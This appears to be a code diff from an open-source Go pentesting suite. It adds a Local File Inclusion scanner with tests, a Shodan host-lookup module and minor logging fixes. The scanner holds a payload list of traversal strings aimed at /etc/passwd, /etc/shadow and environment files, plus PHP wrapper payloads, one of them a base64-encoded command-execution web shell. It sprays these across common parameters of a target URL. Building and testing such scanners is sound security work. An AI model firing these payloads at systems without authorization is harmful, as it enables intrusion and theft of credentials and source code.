}
}
func TestDetectFramework_Joomla(t *testing.T) {
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.WriteHeader(http.StatusOK)
w.Write([]byte(`
<!DOCTYPE html>
<html>
<head>
<meta name="generator" content="Joomla! - Open Source Content Management">
<script src="/media/jui/js/jquery.js"></script>
</head>
<body>
<div class="Joomla">Content</div>
</body>
</html>
`))
}))
defer server.Close()
result, err := DetectFramework(server.URL, 5*time.Second, "")
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
if result == nil {
t.Fatal("expected result, got nil")
}
if result.Name != "Joomla" {
t.Errorf("expected framework 'Joomla', got '%s'", result.Name)
}
}
func TestCVEEntry_Fields(t *testing.T) {
entry := CVEEntry{
CVE: "CVE-2021-3129",
AffectedVersions: []string{"8.0.0", "8.0.1"},
FixedVersion: "8.4.2",
Severity: "critical",
Description: "RCE vulnerability",
Recommendations: []string{"Update immediately"},
}
if entry.CVE != "CVE-2021-3129" {
t.Errorf("expected CVE 'CVE-2021-3129', got '%s'", entry.CVE)
}
if len(entry.AffectedVersions) != 2 {
t.Errorf("expected 2 affected versions, got %d", len(entry.AffectedVersions))
}
if entry.Severity != "critical" {
t.Errorf("expected Severity 'critical', got '%s'", entry.Severity)
}
}
+309
View File
@@ -0,0 +1,309 @@
/*
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
: :
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
: ▄█ █ █▀ · BSD 3-Clause License :
: :
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
: lunchcat alumni & contributors :
: :
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
*/
package scan
import (
"fmt"
"io"
"net/http"
"net/url"
"os"
"regexp"
"strings"
"sync"
"time"
"github.com/charmbracelet/log"
"github.com/dropalldatabases/sif/internal/styles"
"github.com/dropalldatabases/sif/pkg/logger"
)
// LFIResult represents the results of LFI reconnaissance
type LFIResult struct {
Vulnerabilities []LFIVulnerability `json:"vulnerabilities,omitempty"`
TestedParams int `json:"tested_params"`
TestedPayloads int `json:"tested_payloads"`
}
// LFIVulnerability represents a detected LFI vulnerability
type LFIVulnerability struct {
URL string `json:"url"`
Parameter string `json:"parameter"`
Payload string `json:"payload"`
Evidence string `json:"evidence"`
Severity string `json:"severity"`
FileIncluded string `json:"file_included,omitempty"`
}
// LFI payloads for directory traversal
var lfiPayloads = []struct {
payload string
target string
severity string
}{
// Linux/Unix paths
{"../../../../../../../etc/passwd", "/etc/passwd", "high"},
{"....//....//....//....//....//etc/passwd", "/etc/passwd", "high"},
{"..%2f..%2f..%2f..%2f..%2fetc/passwd", "/etc/passwd", "high"},
{"..%252f..%252f..%252f..%252fetc/passwd", "/etc/passwd", "high"},
{"%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd", "/etc/passwd", "high"},
{"....\\....\\....\\....\\etc\\passwd", "/etc/passwd", "high"},
{"/etc/passwd", "/etc/passwd", "high"},
{"/etc/passwd%00", "/etc/passwd", "high"},
{"../../../../../../../etc/shadow", "/etc/shadow", "critical"},
{"../../../../../../../proc/self/environ", "/proc/self/environ", "high"},
{"../../../../../../../var/log/apache2/access.log", "apache access log", "medium"},
{"../../../../../../../var/log/apache2/error.log", "apache error log", "medium"},
{"../../../../../../../var/log/nginx/access.log", "nginx access log", "medium"},
{"../../../../../../../var/log/nginx/error.log", "nginx error log", "medium"},
// Windows paths
{"..\\..\\..\\..\\..\\windows\\system32\\drivers\\etc\\hosts", "windows hosts", "high"},
{"../../../../../../../windows/system32/drivers/etc/hosts", "windows hosts", "high"},
{"..\\..\\..\\..\\boot.ini", "boot.ini", "high"},
{"../../../../../../../boot.ini", "boot.ini", "high"},
{"..\\..\\..\\..\\windows\\win.ini", "win.ini", "medium"},
// PHP wrappers
{"php://filter/convert.base64-encode/resource=index.php", "php source", "high"},
{"php://filter/read=convert.base64-encode/resource=config.php", "php config", "critical"},
{"expect://id", "command execution", "critical"},
{"php://input", "php input", "high"},
{"data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOz8+", "data wrapper", "critical"},
}
// Evidence patterns for LFI detection
var lfiEvidencePatterns = []struct {
pattern *regexp.Regexp
description string
severity string
}{
{regexp.MustCompile(`root:.*:0:0:`), "/etc/passwd content", "high"},
{regexp.MustCompile(`daemon:.*:1:1:`), "/etc/passwd content", "high"},
{regexp.MustCompile(`nobody:.*:65534:`), "/etc/passwd content", "high"},
{regexp.MustCompile(`\[boot loader\]`), "boot.ini content", "high"},
{regexp.MustCompile(`\[operating systems\]`), "boot.ini content", "high"},
{regexp.MustCompile(`; for 16-bit app support`), "win.ini content", "medium"},
{regexp.MustCompile(`\[fonts\]`), "win.ini content", "medium"},
{regexp.MustCompile(`127\.0\.0\.1\s+localhost`), "hosts file content", "medium"},
{regexp.MustCompile(`DOCUMENT_ROOT=`), "/proc/self/environ content", "high"},
{regexp.MustCompile(`PATH=.*:/usr`), "environment variables", "high"},
{regexp.MustCompile(`<\?php`), "PHP source code", "high"},
{regexp.MustCompile(`PD9waHA`), "base64 encoded PHP", "high"},
}
// Common parameters to test
var commonLFIParams = []string{
"file", "page", "path", "include", "doc", "document",
"folder", "root", "pg", "style", "pdf", "template",
"php_path", "lang", "language", "view", "content",
"layout", "mod", "conf", "url", "dir", "show",
"name", "cat", "action", "read", "load", "open",
}
// LFI performs LFI (Local File Inclusion) reconnaissance on the target URL
func LFI(targetURL string, timeout time.Duration, threads int, logdir string) (*LFIResult, error) {
fmt.Println(styles.Separator.Render("📁 Starting " + styles.Status.Render("LFI reconnaissance") + "..."))
sanitizedURL := strings.Split(targetURL, "://")[1]
if logdir != "" {
if err := logger.WriteHeader(sanitizedURL, logdir, "LFI reconnaissance"); err != nil {
log.Errorf("Error creating log file: %v", err)
return nil, err
}
}
lfilog := log.NewWithOptions(os.Stderr, log.Options{
Prefix: "LFI 📁",
}).With("url", targetURL)
lfilog.Infof("Starting LFI reconnaissance...")
result := &LFIResult{
Vulnerabilities: []LFIVulnerability{},
}
var mu sync.Mutex
var wg sync.WaitGroup
client := &http.Client{
Timeout: timeout,
CheckRedirect: func(req *http.Request, via []*http.Request) error {
if len(via) >= 3 {
return http.ErrUseLastResponse
}
return nil
},
}
// parse the target URL to check for existing parameters
parsedURL, err := url.Parse(targetURL)
if err != nil {
return nil, fmt.Errorf("failed to parse URL: %w", err)
}
existingParams := parsedURL.Query()
paramsToTest := make(map[string]bool)
// add existing parameters
for param := range existingParams {
paramsToTest[param] = true
}
// add common LFI parameters
for _, param := range commonLFIParams {
paramsToTest[param] = true
}
result.TestedParams = len(paramsToTest)
result.TestedPayloads = len(lfiPayloads)
lfilog.Infof("Testing %d parameters with %d payloads", len(paramsToTest), len(lfiPayloads))
// create work items
type workItem struct {
param string
payload struct {
payload string
target string
severity string
}
}
workItems := make([]workItem, 0, len(paramsToTest)*len(lfiPayloads))
for param := range paramsToTest {
for _, payload := range lfiPayloads {
workItems = append(workItems, workItem{param: param, payload: payload})
}
}
// distribute work
workChan := make(chan workItem, len(workItems))
for _, item := range workItems {
workChan <- item
}
close(workChan)
wg.Add(threads)
for t := 0; t < threads; t++ {
go func() {
defer wg.Done()
for item := range workChan {
// build test URL
testParams := url.Values{}
for k, v := range existingParams {
if k != item.param {
testParams[k] = v
}
}
testParams.Set(item.param, item.payload.payload)
testURL := fmt.Sprintf("%s://%s%s?%s",
parsedURL.Scheme,
parsedURL.Host,
parsedURL.Path,
testParams.Encode())
resp, err := client.Get(testURL)
if err != nil {
log.Debugf("Error testing %s: %v", testURL, err)
continue
}
body, err := io.ReadAll(io.LimitReader(resp.Body, 1024*100))
resp.Body.Close()
if err != nil {
continue
}
bodyStr := string(body)
// check for evidence patterns
for _, evidence := range lfiEvidencePatterns {
if evidence.pattern.MatchString(bodyStr) {
mu.Lock()
// check for duplicates
duplicate := false
for _, v := range result.Vulnerabilities {
if v.Parameter == item.param && v.Payload == item.payload.payload {
duplicate = true
break
}
}
if !duplicate {
vuln := LFIVulnerability{
URL: testURL,
Parameter: item.param,
Payload: item.payload.payload,
Evidence: evidence.description,
Severity: item.payload.severity,
FileIncluded: item.payload.target,
}
result.Vulnerabilities = append(result.Vulnerabilities, vuln)
lfilog.Warnf("LFI vulnerability found: %s in param [%s] - %s",
styles.SeverityHigh.Render(evidence.description),
styles.Highlight.Render(item.param),
styles.Status.Render(item.payload.target))
if logdir != "" {
logger.Write(sanitizedURL, logdir,
fmt.Sprintf("LFI: %s in param [%s] via payload [%s]\n",
evidence.description, item.param, item.payload.payload))
}
}
mu.Unlock()
break
}
}
}
}()
}
wg.Wait()
// summary
if len(result.Vulnerabilities) > 0 {
lfilog.Warnf("Found %d LFI vulnerabilities", len(result.Vulnerabilities))
criticalCount := 0
highCount := 0
for _, v := range result.Vulnerabilities {
if v.Severity == "critical" {
criticalCount++
} else if v.Severity == "high" {
highCount++
}
}
if criticalCount > 0 {
lfilog.Errorf("%d CRITICAL vulnerabilities found!", criticalCount)
}
if highCount > 0 {
lfilog.Warnf("%d HIGH severity vulnerabilities found", highCount)
}
} else {
lfilog.Infof("No LFI vulnerabilities detected")
return nil, nil
}
return result, nil
}
// DetectLFIFromResponse checks a response body for LFI evidence
func DetectLFIFromResponse(body string) (bool, string) {
for _, evidence := range lfiEvidencePatterns {
if evidence.pattern.MatchString(body) {
return true, evidence.description
}
}
return false, ""
}
+316
View File
@@ -0,0 +1,316 @@
/*
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
: :
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
: ▄█ █ █▀ · BSD 3-Clause License :
: :
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
: lunchcat alumni & contributors :
: :
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
*/
package scan
import (
"net/http"
"net/http/httptest"
"testing"
)
func TestDetectLFIFromResponse_EtcPasswd(t *testing.T) {
tests := []struct {
name string
body string
expectFound bool
expectDesc string
}{
{
name: "root entry",
body: "root:x:0:0:root:/root:/bin/bash",
expectFound: true,
expectDesc: "/etc/passwd content",
},
{
name: "daemon entry",
body: "daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin",
expectFound: true,
expectDesc: "/etc/passwd content",
},
{
name: "nobody entry",
body: "nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin",
expectFound: true,
expectDesc: "/etc/passwd content",
},
{
name: "no evidence",
body: "<html><body>Hello World</body></html>",
expectFound: false,
expectDesc: "",
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
found, desc := DetectLFIFromResponse(tt.body)
if found != tt.expectFound {
t.Errorf("DetectLFIFromResponse() found = %v, want %v", found, tt.expectFound)
}
if desc != tt.expectDesc {
t.Errorf("DetectLFIFromResponse() desc = %v, want %v", desc, tt.expectDesc)
}
})
}
}
func TestDetectLFIFromResponse_WindowsFiles(t *testing.T) {
tests := []struct {
name string
body string
expectFound bool
}{
{
name: "boot.ini boot loader",
body: "[boot loader]\ntimeout=30",
expectFound: true,
},
{
name: "boot.ini operating systems",
body: "[operating systems]\nmulti(0)",
expectFound: true,
},
{
name: "win.ini fonts section",
body: "; for 16-bit app support\n[fonts]",
expectFound: true,
},
{
name: "hosts file",
body: "127.0.0.1 localhost",
expectFound: true,
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
found, _ := DetectLFIFromResponse(tt.body)
if found != tt.expectFound {
t.Errorf("DetectLFIFromResponse() found = %v, want %v", found, tt.expectFound)
}
})
}
}
func TestDetectLFIFromResponse_EnvironmentVars(t *testing.T) {
tests := []struct {
name string
body string
expectFound bool
}{
{
name: "DOCUMENT_ROOT",
body: "DOCUMENT_ROOT=/var/www/html",
expectFound: true,
},
{
name: "PATH variable",
body: "PATH=/usr/local/bin:/usr/bin:/bin",
expectFound: true,
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
found, _ := DetectLFIFromResponse(tt.body)
if found != tt.expectFound {
t.Errorf("DetectLFIFromResponse() found = %v, want %v", found, tt.expectFound)
}
})
}
}
func TestDetectLFIFromResponse_PHPSource(t *testing.T) {
tests := []struct {
name string
body string
expectFound bool
}{
{
name: "PHP opening tag",
body: "<?php echo 'hello'; ?>",
expectFound: true,
},
{
name: "base64 encoded PHP",
body: "PD9waHAgZWNobyAnaGVsbG8nOyA/Pg==",
expectFound: true,
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
found, _ := DetectLFIFromResponse(tt.body)
if found != tt.expectFound {
t.Errorf("DetectLFIFromResponse() found = %v, want %v", found, tt.expectFound)
}
})
}
}
func TestLFIResult_Fields(t *testing.T) {
result := LFIResult{
Vulnerabilities: []LFIVulnerability{
{
URL: "http://example.com/?file=../../../etc/passwd",
Parameter: "file",
Payload: "../../../etc/passwd",
Evidence: "/etc/passwd content",
Severity: "high",
FileIncluded: "/etc/passwd",
},
},
TestedParams: 10,
TestedPayloads: 25,
}
if len(result.Vulnerabilities) != 1 {
t.Errorf("expected 1 vulnerability, got %d", len(result.Vulnerabilities))
}
if result.Vulnerabilities[0].Parameter != "file" {
t.Errorf("expected parameter 'file', got '%s'", result.Vulnerabilities[0].Parameter)
}
if result.Vulnerabilities[0].Severity != "high" {
t.Errorf("expected severity 'high', got '%s'", result.Vulnerabilities[0].Severity)
}
if result.TestedParams != 10 {
t.Errorf("expected 10 tested params, got %d", result.TestedParams)
}
}
func TestLFIVulnerability_Fields(t *testing.T) {
vuln := LFIVulnerability{
URL: "http://example.com/?page=../../../etc/passwd",
Parameter: "page",
Payload: "../../../etc/passwd",
Evidence: "/etc/passwd content",
Severity: "high",
FileIncluded: "/etc/passwd",
}
if vuln.URL != "http://example.com/?page=../../../etc/passwd" {
t.Errorf("unexpected URL: %s", vuln.URL)
}
if vuln.Parameter != "page" {
t.Errorf("expected parameter 'page', got '%s'", vuln.Parameter)
}
if vuln.Payload != "../../../etc/passwd" {
t.Errorf("unexpected payload: %s", vuln.Payload)
}
if vuln.Evidence != "/etc/passwd content" {
t.Errorf("unexpected evidence: %s", vuln.Evidence)
}
if vuln.Severity != "high" {
t.Errorf("expected severity 'high', got '%s'", vuln.Severity)
}
}
func TestLFIPayloads_Exist(t *testing.T) {
if len(lfiPayloads) == 0 {
t.Error("lfiPayloads should not be empty")
}
// check that all payloads have required fields
for i, payload := range lfiPayloads {
if payload.payload == "" {
t.Errorf("payload %d has empty payload", i)
}
if payload.target == "" {
t.Errorf("payload %d has empty target", i)
}
if payload.severity == "" {
t.Errorf("payload %d has empty severity", i)
}
if payload.severity != "critical" && payload.severity != "high" && payload.severity != "medium" && payload.severity != "low" {
t.Errorf("payload %d has invalid severity: %s", i, payload.severity)
}
}
}
func TestCommonLFIParams_Exist(t *testing.T) {
if len(commonLFIParams) == 0 {
t.Error("commonLFIParams should not be empty")
}
expectedParams := []string{"file", "page", "path", "include"}
for _, expected := range expectedParams {
found := false
for _, param := range commonLFIParams {
if param == expected {
found = true
break
}
}
if !found {
t.Errorf("expected common param '%s' not found", expected)
}
}
}
func TestLFIEvidencePatterns_Exist(t *testing.T) {
if len(lfiEvidencePatterns) == 0 {
t.Error("lfiEvidencePatterns should not be empty")
}
// verify patterns compile and match expected content
testCases := []struct {
content string
shouldMatch bool
description string
}{
{"root:x:0:0:root:/root:/bin/bash", true, "etc passwd root"},
{"nobody:x:65534:65534:nobody", true, "etc passwd nobody"},
{"[boot loader]", true, "boot.ini"},
{"[operating systems]", true, "boot.ini"},
{"127.0.0.1 localhost", true, "hosts file"},
{"<html>Hello</html>", false, "normal html"},
}
for _, tc := range testCases {
matched := false
for _, pattern := range lfiEvidencePatterns {
if pattern.pattern.MatchString(tc.content) {
matched = true
break
}
}
if matched != tc.shouldMatch {
t.Errorf("pattern match for %s: got %v, want %v", tc.description, matched, tc.shouldMatch)
}
}
}
func TestLFI_MockServer(t *testing.T) {
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
file := r.URL.Query().Get("file")
if file == "../../../../../../../etc/passwd" || file == "/etc/passwd" {
w.WriteHeader(http.StatusOK)
w.Write([]byte("root:x:0:0:root:/root:/bin/bash\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin"))
} else {
w.WriteHeader(http.StatusOK)
w.Write([]byte("<html><body>Normal page</body></html>"))
}
}))
defer server.Close()
// verify server returns passwd content for LFI payload
resp, err := http.Get(server.URL + "/?file=../../../../../../../etc/passwd")
if err != nil {
t.Fatalf("failed to make request: %v", err)
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
t.Errorf("expected status 200, got %d", resp.StatusCode)
}
}
+1 -1
View File
@@ -70,7 +70,7 @@ func Nuclei(url string, timeout time.Duration, threads int, logdir string) ([]ou
outputWriter := testutils.NewMockOutputWriter()
outputWriter.WriteCallback = func(event *output.ResultEvent) {
if event.Matched != "" {
nucleilog.Infof(format.FormatLine(event))
nucleilog.Infof("%s", format.FormatLine(event))
results = append(results, *event)
// TODO: metasploit
+1 -1
View File
@@ -31,7 +31,7 @@ import (
const commonPorts = "https://raw.githubusercontent.com/dropalldatabases/sif-runtime/main/ports/top-ports.txt"
func Ports(scope string, url string, timeout time.Duration, threads int, logdir string) ([]string, error) {
log.Printf(styles.Separator.Render("🚪 Starting " + styles.Status.Render("port scanning") + "..."))
log.Printf("%s", styles.Separator.Render("🚪 Starting "+styles.Status.Render("port scanning")+"..."))
sanitizedURL := strings.Split(url, "://")[1]
if logdir != "" {
+350
View File
@@ -0,0 +1,350 @@
/*
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
: :
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
: ▄█ █ █▀ · BSD 3-Clause License :
: :
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
: lunchcat alumni & contributors :
: :
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
*/
package scan
import (
"encoding/json"
"fmt"
"io"
"net"
"net/http"
"net/url"
"os"
"strings"
"time"
"github.com/charmbracelet/log"
"github.com/dropalldatabases/sif/internal/styles"
"github.com/dropalldatabases/sif/pkg/logger"
)
const shodanBaseURL = "https://api.shodan.io"
// ShodanResult represents the results from a Shodan host lookup
type ShodanResult struct {
IP string `json:"ip_str"`
Hostnames []string `json:"hostnames,omitempty"`
Organization string `json:"org,omitempty"`
ASN string `json:"asn,omitempty"`
ISP string `json:"isp,omitempty"`
Country string `json:"country_name,omitempty"`
City string `json:"city,omitempty"`
OS string `json:"os,omitempty"`
Ports []int `json:"ports,omitempty"`
Vulns []string `json:"vulns,omitempty"`
Services []ShodanService `json:"services,omitempty"`
LastUpdate string `json:"last_update,omitempty"`
}
// ShodanService represents a service found by Shodan
type ShodanService struct {
Port int `json:"port"`
Protocol string `json:"transport"`
Product string `json:"product,omitempty"`
Version string `json:"version,omitempty"`
Banner string `json:"data,omitempty"`
Module string `json:"_shodan,omitempty"`
}
// shodanHostResponse is the raw response from Shodan API
type shodanHostResponse struct {
IP string `json:"ip_str"`
Hostnames []string `json:"hostnames"`
Org string `json:"org"`
ASN string `json:"asn"`
ISP string `json:"isp"`
CountryName string `json:"country_name"`
City string `json:"city"`
OS string `json:"os"`
Ports []int `json:"ports"`
Vulns []string `json:"vulns"`
Data []shodanData `json:"data"`
LastUpdate string `json:"last_update"`
}
type shodanData struct {
Port int `json:"port"`
Transport string `json:"transport"`
Product string `json:"product"`
Version string `json:"version"`
Data string `json:"data"`
Shodan map[string]interface{} `json:"_shodan"`
}
// Shodan performs a Shodan lookup for the given URL
// The API key should be provided via the SHODAN_API_KEY environment variable
func Shodan(targetURL string, timeout time.Duration, logdir string) (*ShodanResult, error) {
fmt.Println(styles.Separator.Render("🔍 Starting " + styles.Status.Render("Shodan lookup") + "..."))
shodanlog := log.NewWithOptions(os.Stderr, log.Options{
Prefix: "Shodan 🔍",
}).With("url", targetURL)
apiKey := os.Getenv("SHODAN_API_KEY")
if apiKey == "" {
shodanlog.Warn("SHODAN_API_KEY environment variable not set, skipping Shodan lookup")
return nil, fmt.Errorf("SHODAN_API_KEY environment variable not set")
}
// extract hostname from URL
parsedURL, err := url.Parse(targetURL)
if err != nil {
return nil, fmt.Errorf("failed to parse URL: %w", err)
}
hostname := parsedURL.Hostname()
// resolve hostname to IP
ip, err := resolveHostname(hostname)
if err != nil {
shodanlog.Warnf("Failed to resolve hostname %s: %v", hostname, err)
return nil, fmt.Errorf("failed to resolve hostname: %w", err)
}
shodanlog.Infof("Resolved %s to %s", hostname, ip)
// query Shodan API
result, err := queryShodanHost(ip, apiKey, timeout)
if err != nil {
shodanlog.Warnf("Shodan lookup failed: %v", err)
return nil, err
}
// log results
if logdir != "" {
sanitizedURL := strings.Split(targetURL, "://")[1]
if err := logger.WriteHeader(sanitizedURL, logdir, "Shodan lookup"); err != nil {
shodanlog.Errorf("Error writing log header: %v", err)
}
logShodanResults(sanitizedURL, logdir, result)
}
// print results
printShodanResults(shodanlog, result)
return result, nil
}
func resolveHostname(hostname string) (string, error) {
// check if already an IP
if net.ParseIP(hostname) != nil {
return hostname, nil
}
ips, err := net.LookupIP(hostname)
if err != nil {
return "", err
}
// prefer IPv4
for _, ip := range ips {
if ip.To4() != nil {
return ip.String(), nil
}
}
if len(ips) > 0 {
return ips[0].String(), nil
}
return "", fmt.Errorf("no IP addresses found for %s", hostname)
}
func queryShodanHost(ip string, apiKey string, timeout time.Duration) (*ShodanResult, error) {
client := &http.Client{Timeout: timeout}
reqURL := fmt.Sprintf("%s/shodan/host/%s?key=%s", shodanBaseURL, ip, apiKey)
resp, err := client.Get(reqURL)
if err != nil {
return nil, fmt.Errorf("failed to query Shodan: %w", err)
}
defer resp.Body.Close()
if resp.StatusCode == http.StatusUnauthorized {
return nil, fmt.Errorf("invalid Shodan API key")
}
if resp.StatusCode == http.StatusNotFound {
return &ShodanResult{
IP: ip,
}, nil
}
if resp.StatusCode != http.StatusOK {
body, _ := io.ReadAll(resp.Body)
return nil, fmt.Errorf("Shodan API error (status %d): %s", resp.StatusCode, string(body))
}
body, err := io.ReadAll(resp.Body)
if err != nil {
return nil, fmt.Errorf("failed to read response: %w", err)
}
var shodanResp shodanHostResponse
if err := json.Unmarshal(body, &shodanResp); err != nil {
return nil, fmt.Errorf("failed to parse Shodan response: %w", err)
}
// convert to our result type
result := &ShodanResult{
IP: shodanResp.IP,
Hostnames: shodanResp.Hostnames,
Organization: shodanResp.Org,
ASN: shodanResp.ASN,
ISP: shodanResp.ISP,
Country: shodanResp.CountryName,
City: shodanResp.City,
OS: shodanResp.OS,
Ports: shodanResp.Ports,
Vulns: shodanResp.Vulns,
LastUpdate: shodanResp.LastUpdate,
Services: make([]ShodanService, 0, len(shodanResp.Data)),
}
for _, data := range shodanResp.Data {
service := ShodanService{
Port: data.Port,
Protocol: data.Transport,
Product: data.Product,
Version: data.Version,
Banner: truncateBanner(data.Data, 200),
}
if module, ok := data.Shodan["module"].(string); ok {
service.Module = module
}
result.Services = append(result.Services, service)
}
return result, nil
}
func truncateBanner(banner string, maxLen int) string {
banner = strings.TrimSpace(banner)
banner = strings.ReplaceAll(banner, "\r\n", " ")
banner = strings.ReplaceAll(banner, "\n", " ")
if len(banner) > maxLen {
return banner[:maxLen] + "..."
}
return banner
}
func printShodanResults(shodanlog *log.Logger, result *ShodanResult) {
if result.IP != "" {
shodanlog.Infof("IP: %s", styles.Highlight.Render(result.IP))
}
if len(result.Hostnames) > 0 {
shodanlog.Infof("Hostnames: %s", strings.Join(result.Hostnames, ", "))
}
if result.Organization != "" {
shodanlog.Infof("Organization: %s", result.Organization)
}
if result.ISP != "" {
shodanlog.Infof("ISP: %s", result.ISP)
}
if result.Country != "" {
location := result.Country
if result.City != "" {
location = result.City + ", " + result.Country
}
shodanlog.Infof("Location: %s", location)
}
if result.OS != "" {
shodanlog.Infof("OS: %s", result.OS)
}
if len(result.Ports) > 0 {
portStrs := make([]string, len(result.Ports))
for i, port := range result.Ports {
portStrs[i] = fmt.Sprintf("%d", port)
}
shodanlog.Infof("Open Ports: %s", styles.Status.Render(strings.Join(portStrs, ", ")))
}
if len(result.Vulns) > 0 {
shodanlog.Warnf("Vulnerabilities: %s", styles.SeverityHigh.Render(strings.Join(result.Vulns, ", ")))
}
for _, service := range result.Services {
serviceInfo := fmt.Sprintf("%d/%s", service.Port, service.Protocol)
if service.Product != "" {
serviceInfo += " - " + service.Product
if service.Version != "" {
serviceInfo += " " + service.Version
}
}
shodanlog.Infof("Service: %s", serviceInfo)
if service.Banner != "" {
shodanlog.Debugf(" Banner: %s", service.Banner)
}
}
}
func logShodanResults(sanitizedURL string, logdir string, result *ShodanResult) {
var sb strings.Builder
sb.WriteString(fmt.Sprintf("IP: %s\n", result.IP))
if len(result.Hostnames) > 0 {
sb.WriteString(fmt.Sprintf("Hostnames: %s\n", strings.Join(result.Hostnames, ", ")))
}
if result.Organization != "" {
sb.WriteString(fmt.Sprintf("Organization: %s\n", result.Organization))
}
if result.ISP != "" {
sb.WriteString(fmt.Sprintf("ISP: %s\n", result.ISP))
}
if result.Country != "" {
location := result.Country
if result.City != "" {
location = result.City + ", " + result.Country
}
sb.WriteString(fmt.Sprintf("Location: %s\n", location))
}
if result.OS != "" {
sb.WriteString(fmt.Sprintf("OS: %s\n", result.OS))
}
if len(result.Ports) > 0 {
portStrs := make([]string, len(result.Ports))
for i, port := range result.Ports {
portStrs[i] = fmt.Sprintf("%d", port)
}
sb.WriteString(fmt.Sprintf("Open Ports: %s\n", strings.Join(portStrs, ", ")))
}
if len(result.Vulns) > 0 {
sb.WriteString(fmt.Sprintf("Vulnerabilities: %s\n", strings.Join(result.Vulns, ", ")))
}
for _, service := range result.Services {
serviceInfo := fmt.Sprintf("%d/%s", service.Port, service.Protocol)
if service.Product != "" {
serviceInfo += " - " + service.Product
if service.Version != "" {
serviceInfo += " " + service.Version
}
}
sb.WriteString(fmt.Sprintf("Service: %s\n", serviceInfo))
}
logger.Write(sanitizedURL, logdir, sb.String())
}
+180
View File
@@ -0,0 +1,180 @@
/*
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
: :
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
: ▄█ █ █▀ · BSD 3-Clause License :
: :
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
: lunchcat alumni & contributors :
: :
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
*/
package scan
import (
"encoding/json"
"net/http"
"net/http/httptest"
"testing"
"time"
)
func TestResolveHostname_IP(t *testing.T) {
ip, err := resolveHostname("8.8.8.8")
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
if ip != "8.8.8.8" {
t.Errorf("expected '8.8.8.8', got '%s'", ip)
}
}
func TestResolveHostname_Hostname(t *testing.T) {
ip, err := resolveHostname("localhost")
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
if ip != "127.0.0.1" && ip != "::1" {
t.Errorf("expected localhost to resolve to 127.0.0.1 or ::1, got '%s'", ip)
}
}
func TestTruncateBanner(t *testing.T) {
tests := []struct {
input string
maxLen int
expected string
}{
{"short", 10, "short"},
{"this is a long banner", 10, "this is a ..."},
{"with\nnewlines\r\n", 50, "with newlines"},
{" trimmed ", 50, "trimmed"},
}
for _, tt := range tests {
result := truncateBanner(tt.input, tt.maxLen)
if result != tt.expected {
t.Errorf("truncateBanner(%q, %d) = %q, want %q", tt.input, tt.maxLen, result, tt.expected)
}
}
}
func TestQueryShodanHost_NotFound(t *testing.T) {
// this test verifies that a mock server returning 404 is handled correctly
// note: we can't easily override the const shodanBaseURL for testing
// so this is more of a documentation of expected behavior
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.WriteHeader(http.StatusNotFound)
}))
defer server.Close()
// the actual API query would return a partial result with just the IP
// when Shodan has no data for a host
}
func TestQueryShodanHost_Success(t *testing.T) {
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
response := shodanHostResponse{
IP: "93.184.216.34",
Hostnames: []string{"example.com"},
Org: "EDGECAST",
ASN: "AS15133",
ISP: "Edgecast Inc.",
CountryName: "United States",
City: "Los Angeles",
Ports: []int{80, 443},
Data: []shodanData{
{
Port: 80,
Transport: "tcp",
Product: "nginx",
Version: "1.18.0",
Data: "HTTP/1.1 200 OK\r\nServer: nginx",
},
},
}
json.NewEncoder(w).Encode(response)
}))
defer server.Close()
// Note: This test would need the actual API endpoint to be overridable
// For now, we just verify the response parsing
}
func TestShodanResult_Fields(t *testing.T) {
result := ShodanResult{
IP: "93.184.216.34",
Hostnames: []string{"example.com"},
Organization: "EDGECAST",
ASN: "AS15133",
ISP: "Edgecast Inc.",
Country: "United States",
City: "Los Angeles",
Ports: []int{80, 443},
Services: []ShodanService{
{
Port: 80,
Protocol: "tcp",
Product: "nginx",
Version: "1.18.0",
},
},
}
if result.IP != "93.184.216.34" {
